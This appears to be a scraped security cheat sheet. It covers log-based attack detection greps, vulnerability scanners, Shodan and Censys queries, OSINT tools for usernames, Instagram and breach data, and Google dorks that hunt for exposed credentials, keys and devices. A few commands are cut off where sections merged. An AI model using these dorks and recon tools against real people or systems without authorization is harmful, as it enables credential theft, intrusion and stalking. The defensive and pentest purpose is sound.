tshark -r cap.pcap -q -z conv,tcp # TCP conversations
tshark -r cap.pcap -q -z endpoints,ip # IP stats
# Export HTTP objects (files, images)
tshark -r cap.pcap --export-objects http,~/http_exports/
# Count packets per protocol
tshark -r cap.pcap -q -z io,phs | head -30Real-time log monitoring
ti2
▾tail -f /var/log/auth.log # auth events (Debian/Kali)
tail -f /var/log/syslog # system log
tail -f /var/log/kern.log # kernel messages
tail -n 200 /var/log/auth.log # last 200 lines
tail -f /var/log/auth.log /var/log/syslog # multiple logs
journalctl -f # systemd journal live
journalctl -f -u sshd # SSH service
journalctl -f -u nginx # Nginx service
journalctl -f -u apache2 # Apache service
journalctl --since "1 hour ago"
journalctl --since "2024-01-01" --until "2024-01-02"
journalctl -p err # errors only
journalctl -p warning # warnings+
watch -n 5 "tail -20 /var/log/auth.log" # refresh every 5sSSH & authentication attack detection
th2
▾# Failed SSH logins
grep "Failed password" /var/log/auth.log
grep "Failed password" /var/log/auth.log | \
awk '{print $11}' | sort | uniq -c | sort -rn | head -20
# Invalid user attempts
grep "Invalid user" /var/log/auth.log
# Successful logins
grep "Accepted password\|Accepted publickey" /var/log/auth.log
# Root login attempts
grep "root" /var/log/auth.log | grep "Failed\|Invalid"
# All unique attacker IPs
grep "sshd" /var/log/auth.log | grep -oP "\d+\.\d+\.\d+\.\d+" | \
sort | uniq -c | sort -rn | head -20
# Detect brute force (>10 fails per IP)
awk '/Failed password/{print $(NF-3)}' /var/log/auth.log | \
sort | uniq -c | awk "$1>10{print}"
# journalctl equivalent
journalctl _SYSTEMD_UNIT=sshd.service | grep "Failed"
# Sudo abuse detection
grep "sudo" /var/log/auth.log | grep -i "fail\|incorrect"Web server logs — attack detection
th2
▾tail -f /var/log/nginx/access.log
tail -f /var/log/apache2/access.log
# Top 20 requesting IPs
awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head 20
# Top requested URLs
awk '{print $7}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head 20
# HTTP status code breakdown
awk '{print $9}' /var/log/nginx/access.log | sort | uniq -c | sort -rn
# SQL injection attempts
grep -iE "union.+select|insert.+into|drop.+table|--|1=1|or.1=1" \
/var/log/nginx/access.log
# XSS attempts
grep -iE "script|javascript:|onerror|onload|alert\(" /var/log/nginx/access.log
# LFI / Path traversal
grep -iE "\.\.%2f|\.\./|%2e%2e|etc/passwd" /var/log/nginx/access.log
# Scanner detection
grep -iE "nikto|sqlmap|nmap|masscan|burp|zap|dirbuster|hydra" \
/var/log/nginx/access.log
# Large responses (potential data exfil)
awk '$10 > 1000000 {print}' /var/log/nginx/access.logLog filtering & SIEM queries
tm
▾# Grep essentials
grep -i "error" /var/log/syslog # case-insensitive
grep -E "(error|warning|critical)" /var/log/syslog
grep -A 3 -B 3 "segfault" /var/log/syslog # context lines
grep -c "Failed" /var/log/auth.log # count
grep -r "error" /var/log/ # recursive
grep "$(date "+%b %e")" /var/log/auth.log # today only
grep -v "^#" /var/log/syslog | head -50 # exclude comments
zgrep "Failed" /var/log/auth.log.*.gz # compressed logs
zcat /var/log/auth.log.1.gz | grep "Failed"
# Splunk SPL
index=auth "Failed password" | stats count by src_ip | sort -count
index=web http_status>=400 | stats count by src_ip | sort -count
index=web | rex "(?i)(?Punion.{0,30}select)" | stats count by sqli
# Elasticsearch KQL (Kibana)
event.action: "authentication_failure" AND event.outcome: "failure"
source.ip: 192.168.1.* AND http.response.status_code: 401
# Graylog Lucene
message:"Failed password" AND tags:"ssh" 🛡
Vulnerability Assessment Tools
Nuclei — template-based scanner
tc
▾sudo apt install -y nuclei
nuclei -update-templates # update library
nuclei -u https://target.com -severity critical,high
nuclei -l hosts.txt -severity critical,high,medium -o ~/results/nuclei.txt
nuclei -u https://target.com -t cves/ -t exposures/ -t misconfiguration/
nuclei -u https://target.com -t cves/2021/CVE-2021-44228.yaml # Log4Shell
nuclei -u https://target.com -c 50 -rate-limit 100
nuclei -u https://target.com -tags network,ssl,http
nuclei -tl # list all templates
nuclei -u https://target.com -as # automatic severityOpenVAS / Greenbone (GVM)
tc
▾sudo apt update && sudo apt install -y openvas
sudo gvm-setup # initial setup (downloads NVTs — takes time)
sudo gvm-start # start services
sudo gvm-check-setup # verify
# Web UI: https://127.0.0.1:9392
pip3 install gvm-tools
gvm-cli --gmp-username admin --gmp-password PASS tls \
--hostname 127.0.0.1 --xml "testssl.sh — TLS/SSL testing
tm
▾sudo apt install -y testssl.sh
testssl.sh https://target.com # full analysis
testssl.sh --heartbleed target.com
testssl.sh --poodle target.com
testssl.sh --beast target.com
testssl.sh --crime target.com
testssl.sh --breach target.com
testssl.sh --rc4 target.com
testssl.sh --each-cipher target.com # all ciphers
testssl.sh --protocols target.com # supported protocols only
testssl.sh --jsonfile ~/testssl_report.json target.comffuf & feroxbuster — content discovery
tm
▾sudo apt install -y ffuf feroxbuster
# ffuf
ffuf -u https://target.com/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-mc 200,301,302,401,403 -fc 404 -t 50
# Parameter fuzzing
ffuf -u "https://target.com/page?FUZZ=1" \
-w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-mc 200 -fs 0
# feroxbuster (recursive)
feroxbuster -u https://target.com \
-w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt \
-x php,html,bak,txt,env --depth 3 --auto-bail -t 50🌍
Shodan — Internet Device Search Engine
Search engine for internet-connected devices. help.shodan.io
Installation (Kali/Debian)
Install Shodan CLI
ti2
▾pip3 install shodan
shodan init YOUR_API_KEY
shodan infoSearch Query Basics
Search query fundamentals — banners & syntax
ti2
▾Shodan indexes banners — the response a service returns when you connect to it. A banner is the fundamental unit of data you search. Each banner is a set of properties; by default Shodan only searches the
Simplified banner
data property (the raw service response), so to match anything else you use a filter.{
"data": "Moxa Nport Device
Status: Authentication disabled
Name: NP5232I_4728
MAC: 00:90:e8:47:10:2d",
"ip_str": "46.252.132.235",
"port": 4800,
"org": "SingTel Mobile",
"location": {
"country_code": "SG"
}
}data # raw response from the service itself
ip_str # IP address of the device
port # port the service runs on
org # organization that owns the IP space
location.country_code # country the device is inMoxa Nport # searches the data property (default)
country:SG # filtername:value, no space after ':'
org:"SingTel Mobile" # quote values that contain spaces
org:"SingTel Mobile" city:Singapore # chain filters (space = AND)Why filters Filters stop false positives: searching
Apache as a plain term would also match the city of Apache Junction. A filter like product:Apache pins the query to the property you mean.Search Queries
Search filters, CVE & discovery
tos
▾### Basic filters (shodan.io search bar)
hostname:target.com port:22 port:3306
ip:203.0.113.1 net:192.168.1.0/24
port:27017 # MongoDB exposed
port:9200 # Elasticsearch
port:6379 # Redis
port:5432 # PostgreSQL
port:1433 # MSSQL
port:8080 # Tomcat / devservers
org:"Target Inc" country:"IN" city:"Mumbai"
os:"Windows Server 2019" os:"Ubuntu"
product:"nginx" product:"Apache httpd"
ssl.cert.subject.cn:target.com
ssl.cert.issuer.cn:target.com
http.title:"Admin Panel"
http.html:"Powered by WordPress"
http.favicon.hash:-1534126941 # Grafana dashboard hash
### CVE / Vulnerability search
vuln:CVE-2021-44228 # Log4Shell
vuln:CVE-2021-26855 # Exchange ProxyLogon
vuln:CVE-2017-0144 # EternalBlue
hostname:target.com vuln:CVE-2021-44228
### Combine filters
org:"Target Inc" country:"IN" port:3306
http.title:"admin" country:"IN" port:80,443Complete Filter Reference
All search filters (shodan.io/search/filters)
tos
▾Complete set of Shodan search filters grouped by category. Use
filter:value in the search bar or CLI. Filters under Restricted need a higher API plan.# General
all asn asset city country
cpe device domain geo google_ads
google_analytics google_tag_manager has_ipv6
has_screenshot has_ssl has_vuln hash
hostname ip isp link meta_pixel
net org os port postal
product region scan shodan.module
state tiktok_pixel version x_pixel
# HTTP
http.component http.component_category
http.dom_hash http.favicon.hash http.headers_hash
http.html http.html_hash http.robots_hash
http.securitytxt http.server_hash http.status
http.title http.title_hash http.waf
# SSL / TLS
ssl ssl.alpn ssl.cert.alg
ssl.cert.expired ssl.cert.extension ssl.cert.fingerprint
ssl.cert.issuer.cn ssl.cert.pubkey.bits ssl.cert.pubkey.type
ssl.cert.serial ssl.cert.subject.cn ssl.chain_count
ssl.cipher.bits ssl.cipher.name ssl.cipher.version
ssl.ja3s ssl.jarm ssl.version
# Bitcoin
bitcoin.ip bitcoin.ip_count bitcoin.port bitcoin.version
# SNMP
snmp.contact snmp.location snmp.name
# NTP
ntp.ip ntp.ip_count ntp.more ntp.port
# Telnet
telnet.do telnet.dont telnet.option telnet.will telnet.wont
# SSH
ssh.hassh ssh.type
# Screenshots
screenshot.hash screenshot.label
# Cloud
cloud.provider cloud.region cloud.service
# Restricted (higher API plans only)
tag vulnShodan CLI & Python API
th2
▾# CLI
shodan host 203.0.113.1 # host details
shodan count "port:22 Apache" # count results
shodan search --fields ip_str,port,org \
"port:3306 country:IN" > mysql_in.csv
shodan download results.json.gz "port:22 country:IN"
shodan parse --fields ip_str,port results.json.gz
shodan alert create "My Infra" 192.168.1.0/24
shodan domain target.com # domain info
shodan honeyscore 203.0.113.1 # honeypot probability
# Python API
import shodan
api = shodan.Shodan("YOUR_API_KEY")
host = api.host("203.0.113.1")
print(host["org"], host["country_name"])
results = api.search("product:Apache port:80 country:IN")
for r in results["matches"]:
print(r["ip_str"], r.get("org",""), r.get("hostnames",[]))
# Stream new results in real-time
for banner in api.stream.banners():
print(banner["ip_str"])🔭
Censys CLI — Internet Scan Data
Certificate & network scan focus, alternative to Shodan. censys.io
Censys CLI — install & usage
tos
▾Censys specializes in TLS certificates, open ports, protocol banners. Free tier: 250 queries/month.
pip3 install censys
censys config # enter API ID + secret from censys.io
censys --help
# Search hosts
censys search "services.port:22 and services.service_name:SSH"
censys search "ip:203.0.113.1" --index hosts
# Certificate search
censys search "parsed.names:target.com" --index certificates
# Host details
censys view 203.0.113.1 --index hosts
# Python API
from censys.search import CensysHosts
h = CensysHosts()
results = h.search("services.port:3306", fields=["ip","services.port"])
for r in results:
print(r["ip"])
from censys.search import CensysCertificates
c = CensysCertificates()
for cert in c.search("parsed.names:target.com",
fields=["parsed.names","parsed.validity"]):
print(cert)🌾
theHarvester — Email & Subdomain OSINT
Gather emails, subdomains, IPs from public sources. github.com/laramies/theHarvester
Installation (Kali/Debian)
Install theHarvester
ti2
▾sudo apt update && sudo apt install -y theharvester
theHarvester -h
# Latest from GitHub
git clone https://github.com/laramies/theHarvester ~/tools/theHarvester
cd ~/tools/theHarvester && pip3 install -r requirements/base.txtUsage
Harvest emails, subdomains & IPs
tos
▾# Basic usage: -d domain, -b source, -l limit
theHarvester -d target.com -b google -l 200
theHarvester -d target.com -b bing -l 500
theHarvester -d target.com -b linkedin
theHarvester -d target.com -b dnsdumpster
theHarvester -d target.com -b crtsh
# All sources
theHarvester -d target.com -b all -l 500
# Save HTML report
theHarvester -d target.com -b google -f ~/osint/harvester.html
# DNS brute-force
theHarvester -d target.com -b google -l 200 -dns-brute
# Available sources: google, bing, linkedin, dnsdumpster, crtsh,
# hackertarget, rapiddns, subdomainfinderc99, threatminer,
# duckduckgo, yahoo, baidu, virustotal, urlscan, otx🔍
Subfinder — Passive Subdomain Discovery
Fast passive subdomain enumeration by ProjectDiscovery. github.com/projectdiscovery/subfinder
Installation (Kali/Debian)
Install Subfinder
ti2
▾sudo apt update && sudo apt install -y subfinder
# Or latest via Go
go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
subfinder -h
# API keys config
nano ~/.config/subfinder/config.yamlUsage
Subfinder — all flags & examples
tos
▾Subfinder uses passive sources only — no direct DNS queries to the target. Recommended over Sublist3r (which has known bugs with many sources).
# Basic
subfinder -d target.com
# Verbose with all sources
subfinder -d target.com -v -all
# Save output
subfinder -d target.com -o ~/osint/subs_subfinder.txt
# Multiple domains from file
subfinder -dL domains.txt -o ~/osint/all_subs.txt
# Recursive subdomain discovery
subfinder -d target.com -recursive
# Specific sources only
subfinder -d target.com -s crtsh,shodan,virustotal
# Exclude sources
subfinder -d target.com -es alienvault,zoomeyeapi
# JSON output
subfinder -d target.com -oJ -o subs.json
# Rate limit
subfinder -d target.com -rl 10
# List all available sources
subfinder -ls
# Pipe into httpx to check live hosts
subfinder -d target.com -silent | \
httpx -silent -o ~/osint/live_hosts.txt
# Combined pipeline
subfinder -d target.com -silent | \
httpx -status-code -title -tech-detect -o ~/osint/live_detailed.txt📋
Sublist3r — Subdomain Enumeration
Subdomain enum via search engines. github.com/aboul3la/Sublist3r
Installation (Kali/Debian)
Install Sublist3r
ti2
▾💡 NOTESublist3r is in Kali repos but has known source bugs. Subfinder is the recommended modern replacement.
sudo apt update && sudo apt install -y sublist3r
sublist3r -h
# Or from GitHub (latest)
git clone https://github.com/aboul3la/Sublist3r ~/tools/Sublist3r
cd ~/tools/Sublist3r && pip3 install -r requirements.txtUsage
Sublist3r — all flags
tos
▾# Basic
sublist3r -d target.com
# Verbose (real-time results)
sublist3r -v -d target.com
# Save to file
sublist3r -d target.com -o ~/osint/sublist3r.txt
# Specify search engines
sublist3r -d target.com -e google,bing,yahoo
# Thread count
sublist3r -d target.com -t 10
# Brute-force via subbrute
sublist3r -d target.com -b -t 100
# Scan found subdomains for open ports
sublist3r -d target.com -p 80,443
# All combined
sublist3r -v -d target.com -t 5 -e google,bing \
-o ~/osint/subs.txt -p 80,443🗺
Amass — Attack Surface Mapping
Deep DNS & network mapping by OWASP. github.com/owasp-amass/amass
Install & enumerate — passive, active, intel
tos
▾sudo apt update && sudo apt install -y amass
# Or via Go
go install github.com/owasp-amass/amass/v4/...@master
# Passive (no direct contact)
amass enum -passive -d target.com -o ~/osint/passive_subs.txt
# Active (queries DNS directly)
amass enum -active -d target.com
# With API keys
amass enum -d target.com -config ~/.config/amass/config.ini
# Multiple domains
amass enum -passive -df domains.txt -o subs.txt
# Intelligence mode (WHOIS, ASN, CIDR)
amass intel -d target.com -whois
amass intel -org "Target Inc"
amass intel -asn 12345
amass intel -cidr 203.0.113.0/24
# Visualize relationship graph
amass viz -d3 -dir ~/amass_output/
# Database queries after scan
amass db -names -d target.com
amass db -show -d target.comAMASS v4+ CHANGES v4 replaced the INI config with YAML — use
amass enum -config config.yaml (which points to a datasources.yaml for API keys), not config.ini. The intel, viz, db and track workflows were reworked/split into the separate oam-tools package (e.g. oam_track) and changed again in v5, so those subcommands may be unavailable on a current install — check amass -version. The passive/active enum flags above still work.🔗
Recon-ng — OSINT Framework
Web reconnaissance framework with Metasploit-style interface. github.com/lanmaster53/recon-ng
Install & core commands
tos
▾Recon-ng organizes OSINT data in workspaces and uses modular 'transforms' from a marketplace. Install modules for specific data sources.
sudo apt update && sudo apt install -y recon-ng
recon-ng
### Inside recon-ng console
help # all commands
workspaces create target_name # new workspace
workspaces load target_name # switch workspace
workspaces list
### Module marketplace
marketplace search whois
marketplace search domains-hosts
marketplace install recon/domains-hosts/hackertarget
marketplace install recon/domains-contacts/whois_pocs
marketplace info recon/domains-hosts/google_site_web
### Using a module
modules load recon/domains-hosts/google_site_web
info
options set SOURCE target.com
run
### Database
db insert domains target.com # add target
show domains # list found domains
show hosts # list hosts
show contacts # list emails/contacts
show vulnerabilities
### Reporting
modules load reporting/html
options set FILENAME ~/osint/recon_report.html
runInstall & workflow
tos
▾Maltego is GUI-based. Maps entity relationships using automated Transforms. Community Edition free with limits.
sudo apt update && sudo apt install -y maltego
maltego & # requires registration at maltego.com
### GUI Workflow
# 1. New Graph → Ctrl+N
# 2. Drag entity from palette: Domain / IP / Email / Person
# 3. Double-click → set value (e.g. target.com)
# 4. Right-click → Run Transforms → All Transforms
# 5. Explore relationship graph
### Key entity types
# Domain, Website, Person, EmailAddress, IPAddress,
# Organization, PhoneNumber, SocialProfile, Hash, URL
### Common transforms
# Domain → DNS (A/MX/NS records)
# Domain → Subdomains (cert transparency)
# Email → HaveIBeenPwned breach check
# IP → Whois → Org, ASN, geolocation
# IP → Open Ports (Shodan integration)
# Person → Social profiles
### Maltego CLI (Enterprise)
maltego --command Install & use SpiderFoot
tos
▾sudo apt update && sudo apt install -y spiderfoot
# Or via pip
pip3 install spiderfoot
# Web UI at http://127.0.0.1:5001
spiderfoot -l 127.0.0.1:5001
# CLI scan — target types: INTERNET_NAME, IP_ADDRESS,
# EMAILADDR, HUMAN_NAME, USERNAME, PHONE_NUMBER
spiderfoot -s target.com -t INTERNET_NAME -m all -q
spiderfoot -s 203.0.113.1 -t IP_ADDRESS -m all -q
# Specific modules
spiderfoot -s target.com -m sfp_dns,sfp_whois,sfp_shodan,sfp_crtsh
# Save output
spiderfoot -s target.com -t INTERNET_NAME -o ~/osint/sf_out.csv
# List all modules
spiderfoot -M
# Use with Tor
spiderfoot -s target.com -t INTERNET_NAME --tor
# API key configuration (in Web UI: Settings → API Keys)🔎
Sherlock — Username OSINT
Find usernames across 300+ social networks. github.com/sherlock-project/sherlock
Install & use Sherlock
tos
▾sudo apt update && sudo apt install -y sherlock
# Or from GitHub
git clone https://github.com/sherlock-project/sherlock ~/tools/sherlock
cd ~/tools/sherlock && pip3 install -r requirements.txt
# Basic search
sherlock username_here
# Multiple usernames at once
sherlock user1 user2 user3
# Save to file
sherlock username --output ~/osint/sherlock.txt
# Only print found (hide 404s)
sherlock username --print-found
# Check specific sites
sherlock username --site GitHub --site Twitter --site Instagram
# Use Tor
sherlock username --tor
# Shorter timeout per site
sherlock username --timeout 10
# NSFW sites included
sherlock username --nsfw🧑
Maigret — Advanced Username OSINT
Username hunt across 3000+ sites with profile data extraction. github.com/soxoj/maigret
Install & use Maigret
tos
▾Advanced fork of Sherlock. Searches 3000+ sites and extracts profile data (name, bio, links, emails) from found accounts.
pip3 install maigret
maigret --help
# Basic search
maigret username_here
# HTML report
maigret username --html -o ~/osint/maigret.html
# PDF report
maigret username --pdf -o ~/osint/maigret.pdf
# Top 500 sites (faster)
maigret username --top-sites 500
# Specific sites
maigret username --site github --site twitter
# Tor
maigret username --tor
# Proxy
maigret username --proxy socks5://127.0.0.1:9050
# Extract additional data
maigret username --parse-ids
# CSV output
maigret username --csv -o ~/osint/maigret.csv🐦
Twint — Twitter/X OSINT Scraper
Twitter intelligence without API. Works with X (formerly Twitter). github.com/twintproject/twint
Install & use Twint
tos
▾Twint scrapes Twitter/X data without official API. Note: X's bot detection has become aggressive — use responsibly in authorized investigations.
pip3 install twint
# Or latest (recommended)
pip3 install --user --upgrade git+https://github.com/twintproject/twint.git@origin/master#egg=twint
# User timeline scraping
twint -u target_username
# Search tweets
twint -s "keyword phrase"
# Search from specific user
twint -u target_username -s "security"
# Date range
twint -u target_username --since 2024-01-01 --until 2024-12-31
# Followers / Following
twint -u target_username --followers -o ~/osint/followers.txt
twint -u target_username --following -o ~/osint/following.txt
# Save to CSV
twint -u target_username -o ~/osint/tweets.csv --csv
# Save to JSON
twint -u target_username -o ~/osint/tweets.json --json
# Search for emails & phones in tweets
twint -s "email @target.com"
# Geo-based search
twint -s "keyword" --geo "19.0760,72.8777,10km" # Mumbai
# Python API
import twint
c = twint.Config()
c.Username = "target_user"
c.Store_csv = True
c.Output = "~/osint/tweets.csv"
twint.run.Search(c)DEPRECATED — BROKEN Twint has been unmaintained since 2023 and no longer works against X: it relied on legacy unauthenticated endpoints (and later Nitter, which went offline / was archived in 2026). snscrape is also broken for X. Current working alternatives that use X's authenticated web GraphQL API (cookies/auth-token):
Scweet and twscrape. Treat the commands below as historical reference.📷
Osintgram — Instagram OSINT
OSINT collection tool for Instagram targets. github.com/Datalux/Osintgram
Install & use Osintgram
tos
▾Osintgram provides interactive analysis of Instagram accounts without an official account (limited). For full data you need an Instagram account.
git clone https://github.com/Datalux/Osintgram ~/tools/Osintgram
cd ~/tools/Osintgram
pip3 install -r requirements.txt
# Configure credentials
nano credentials.ini
# [Credentials]
# username = your_instagram_username
# password = your_instagram_password
# Run interactive mode
python3 main.py target_username
### Available commands inside interactive shell
addrs # email addresses from bio
captions # captions of all photos
comments # last comments of all photos
followers # followers list
followings # following list
fwersemail # emails from followers
info # account info
location # location data from posts
mediatype # type of posts (photo/video)
photos # download all photos
propic # profile picture download
stories # download stories
tagged # list tagged users
wcommented # who commented most
# Non-interactive single command
python3 main.py target_username -o ~/osint/osintgram/ \
--command followersHEADS UP Instagram frequently changes its private endpoints and login challenges, which repeatedly breaks Osintgram, and logging in with a real account for scraping risks a ban. The repo is only sporadically maintained — verify it still works against the current Instagram before relying on it, and use a throwaway research account.
Install & use h8mail
tos
▾h8mail queries breach databases (HaveIBeenPwned, DeHashed, IntelX) for email/password combinations. Essential for credential exposure analysis.
pip3 install h8mail
h8mail --help
# Basic email lookup (HIBP free API)
h8mail -t target@email.com
# Multiple targets
h8mail -t user1@email.com user2@email.com
# From file
h8mail -t emails.txt
# Generate config with API keys
h8mail --gen-config
nano ~/.h8mail_config.ini # add HIBP/DeHashed/Snusbase keys
# Use config
h8mail -t target@email.com -c ~/.h8mail_config.ini
# Save results
h8mail -t target@email.com -o ~/osint/h8mail.csv
# Chase mode (find related emails from breaches)
h8mail -t target@email.com --chase
# Search local breach file (downloaded paste dumps)
h8mail -t target@email.com -lb /path/to/breach_dump.txt
# Scylla breach database
h8mail -t target@email.com -skInstall & use ExifTool
tos
▾Reads metadata from JPEG, PNG, HEIC, PDF, MP4, MP3, DOCX, and 150+ formats. Images often contain GPS, device info, and author details — gold for OSINT.
sudo apt update && sudo apt install -y libimage-exiftool-perl
exiftool --ver
# Read all metadata
exiftool photo.jpg
exiftool document.pdf
exiftool video.mp4
exiftool audio.mp3
# Specific fields
exiftool -GPSLatitude -GPSLongitude photo.jpg
exiftool -Author -Creator document.pdf
exiftool -Make -Model -Software photo.jpg
exiftool -DateTimeOriginal photo.jpg
# Process directory (recursive)
exiftool /path/to/images/
exiftool -r /path/to/images/
# CSV export
exiftool -csv /path/to/images/ > ~/osint/metadata.csv
# JSON export
exiftool -j photo.jpg > metadata.json
# Strip ALL metadata (privacy / anti-forensics)
exiftool -all= photo.jpg
exiftool -all= -r /path/to/images/ # recursive
# Find all images with GPS data
exiftool -if "$GPSLatitude" -filename -GPSPosition /path/to/images/
# Batch rename by date
exiftool "-FileName📄
Tesseract OCR — Text Extraction from Images
Open-source OCR engine by Google. github.com/tesseract-ocr/tesseract
Install & use Tesseract OCR
tos
▾Tesseract extracts text from images and screenshots — useful for OSINT (reading text in leaked images), forensics (screenshots), and document processing.
sudo apt update && sudo apt install -y tesseract-ocr
sudo apt install -y tesseract-ocr-eng # English language pack
sudo apt install -y tesseract-ocr-hin # Hindi
tesseract --version
tesseract --list-langs # list installed languages
# Basic OCR (output to stdout)
tesseract image.png stdout
# Save to text file
tesseract image.png ~/ocr/output_text # creates output_text.txt
# PDF output
tesseract image.png ~/ocr/output_pdf pdf
# Specify language
tesseract image.png output -l eng
tesseract image.png output -l hin+eng # multi-language
# High quality preprocessing + OCR (install imagemagick first)
sudo apt install -y imagemagick
convert screenshot.png -resize 300% -sharpen 0x1 enhanced.png
tesseract enhanced.png output_enhanced
# Process multiple images
for f in /path/to/images/*.png; do
tesseract "$f" "${f%.png}_text"
done
# Python integration (pytesseract)
pip3 install pytesseract Pillow
python3 -c "
import pytesseract
from PIL import Image
img = Image.open('screenshot.png')
text = pytesseract.image_to_string(img)
print(text)"Install & use TorBot
tos
▾TorBot crawls .onion hidden services and maps links, email addresses, and page titles. Requires Tor to be running locally.
# Install Tor first
sudo apt update && sudo apt install -y tor torsocks
sudo systemctl start tor && sudo systemctl enable tor
# Verify Tor is working
curl --socks5 127.0.0.1:9050 https://check.torproject.org/api/ip
# Install TorBot
git clone https://github.com/DedSecInside/TorBot ~/tools/TorBot
cd ~/tools/TorBot && pip3 install -r requirements.txt
# Basic crawl of a .onion site
python3 torbot.py -u http://example.onion
# Crawl with link discovery
python3 torbot.py -u http://example.onion --links
# Save report
python3 torbot.py -u http://example.onion --save report.json
# Run via torsocks (routes through Tor)
torsocks python3 torbot.py -u http://example.onion
# Alternative: proxychains with Tor
sudo apt install -y proxychains4
# Edit /etc/proxychains4.conf: socks5 127.0.0.1 9050
proxychains4 curl http://example.onion
# Tor browser from Kali
sudo apt install -y torbrowser-launcher
torbrowser-launcher⚠ LEGAL WARNINGDark web crawling may expose you to illegal content. Only crawl .onion sites in authorized security research contexts. Use isolated VMs.
🔎
Google Dorks — Advanced Search OSINT
Core Operators
All core operators & syntax
ti2
▾site:target.com # limit to domain
site:*.target.com # all subdomains
inurl:admin # URL contains string
inurl:/admin/login.php # specific URL path
intitle:"index of" # title contains
intitle:"admin panel"
filetype:pdf # file type
ext:php # extension
intext:"password" # body text
intext:"root:x:0:0" # /etc/passwd content
cache:target.com # Google cached version
link:target.com # pages linking to target
related:target.com # similar sites
"exact phrase match" # exact match
-exclude_word # exclude term
word1 OR word2 # either
word1 AND word2 # both (default)
before:2020-01-01 # before date
after:2023-01-01 # after date
numrange:1..100 # number range
define:term # definitionExposed Files & Sensitive Paths
Exposed config, backup & sensitive files
tc
▾site:target.com ext:env
site:target.com ext:env.local OR ext:env.production OR ext:env.staging
site:target.com filetype:env
site:target.com ext:config
site:target.com filetype:xml inurl:config
site:target.com filetype:ini intext:password
site:target.com filetype:yaml
site:target.com filetype:yml
site:target.com filetype:json inurl:config
site:target.com filetype:json inurl:api
site:target.com ext:bak
site:target.com ext:old
site:target.com ext:backup
site:target.com ext:swp # vim swap files
site:target.com ext:sql
site:target.com filetype:sql intext:password
site:target.com ext:log
site:target.com ext:php.bak
site:target.com ext:asp.bak
site:target.com inurl:".git"
site:target.com inurl:"/.git/HEAD"
site:target.com inurl:"wp-config.php"
site:target.com inurl:"database.yml"
site:target.com inurl:".aws/credentials"
site:target.com inurl:"composer.json"
site:target.com inurl:"package.json" -github
site:target.com inurl:".DS_Store"
site:target.com inurl:"Dockerfile" OR inurl:"docker-compose.yml"
site:target.com inurl:".htpasswd"
site:target.com inurl:".bash_history"Admin Panels & Login Pages
Admin, login pages & portals
th2
▾site:target.com inurl:admin
site:target.com inurl:/admin/
site:target.com inurl:login
site:target.com inurl:dashboard
site:target.com inurl:portal
site:target.com inurl:wp-admin
site:target.com inurl:phpmyadmin
site:target.com inurl:cpanel
site:target.com inurl:plesk
site:target.com inurl:webmail
site:target.com inurl:manager/html # Tomcat manager
site:target.com inurl:jenkins
site:target.com inurl:gitlab
site:target.com inurl:grafana
site:target.com inurl:kibana
site:target.com inurl:elasticsearch
site:target.com intitle:"admin panel"
site:target.com intitle:"Admin Login"
site:target.com intitle:"Login" inurl:/admin/
site:target.com intitle:"Dashboard" inurl:adminOpen Directories & Listings
Open directory listings
th2
▾intitle:"index of" site:target.com
intitle:"Index of /" site:target.com
intitle:"index of" intext:"Parent Directory"
intitle:"index of" intext:".env" site:target.com
intitle:"index of" intext:"backup" site:target.com
intitle:"index of" intext:"database.sql"
intitle:"index of" intext:"wp-content"
intitle:"index of" intext:".key" OR intext:".pem"
intitle:"index of" "/private" site:target.com
intitle:"index of" "passwords.txt"
intitle:"index of" "credentials"Error Messages & Debug Info
Error messages, debug & DB leaks
tm
▾site:target.com "SQL syntax error"
site:target.com "Warning: mysql_"
site:target.com "mysql_fetch_array()"
site:target.com "You have an error in your SQL syntax"
site:target.com "ORA-00933" # Oracle SQL
site:target.com "SQLSTATE[" # PHP PDO errors
site:target.com intext:"Fatal error"
site:target.com intext:"stack trace"
site:target.com intext:"exception in thread"
site:target.com intitle:"phpinfo()" "php version"
site:target.com inurl:phpinfo.php
site:target.com intext:"DB_PASSWORD"
site:target.com intext:"DB_USERNAME"
site:target.com "Error Occurred While Processing Request"
site:target.com "debug=true"
site:target.com inurl:trace.axd # ASP.NET traceAPI Keys & Credential Leaks
API keys, creds & breach leaks
tc
▾site:pastebin.com "target.com" password
site:pastebin.com "target.com" username
site:github.com "target.com" API_KEY
site:github.com "target.com" SECRET_KEY
site:github.com "target.com" password
site:github.com "target.com" smtp_password
site:github.com "target.com" database_password
site:github.com "target.com" private_key
site:target.com inurl:api_key
site:target.com inurl:access_token
site:target.com intext:"aws_access_key_id"
site:target.com intext:"aws_secret_access_key"
"AKIA" site:github.com "target.com" # AWS access key
site:trello.com "target.com" # Trello boards
site:s3.amazonaws.com "target.com" # S3 buckets
site:jsfiddle.net "target.com"
site:codepen.io "target.com"
"-----BEGIN RSA PRIVATE KEY-----" site:github.com target.comExposed Devices & IoT
Exposed devices, cameras, routers & IoT
tc
▾intitle:"webcamXP 5" inurl:8080
inurl:"/view.shtml" intitle:"Network Camera"
intitle:"Network Camera" inurl:viewer_index.shtml
inurl:8080 intitle:"Apache Tomcat"
intitle:"Router Login" inurl:login
intitle:"pfSense" inurl:index.php
inurl:"cgi-bin/luci" intitle:"LuCI" # OpenWrt
intitle:"synology" inurl:login.html
intitle:"Fortinet" inurl:login
intitle:"SonicWALL" inurl:auth.html
inurl:"/dana-na/auth/url_default/welcome.html" # Juniper SSL VPN
intitle:"DVWA" inurl:login
intitle:"phpMyAdmin" "Welcome to phpMyAdmin"
intitle:"Kibana" inurl:5601
intitle:"Grafana" inurl:3000
inurl:":8888" intitle:"Jupyter Notebook"
intitle:"RDP Login" port:3389
inurl:":9200" "cluster_name" # Elasticsearch exposedGovernment & Corporate Recon
Document & employee recon dorks
tos
▾# Documents with contact info
site:target.com filetype:pdf "email" "@target.com"
site:target.com filetype:xlsx
site:target.com filetype:docx
site:target.com filetype:pptx "confidential"
# Employee recon
site:linkedin.com "target.com" "engineer"
site:linkedin.com "target.com" "security"
# Exposed camera streams
inurl:"/mjpg/video.mjpg"
inurl:"/cgi-bin/viewer/video.jpg"
# Network equipment
intitle:"CISCO" intext:"show version"
intitle:"Cisco IOS" intext:"username"
# VPN / Remote access
intitle:"SSL-VPN" inurl:portal
intitle:"GlobalProtect" inurl:global-protect🔬
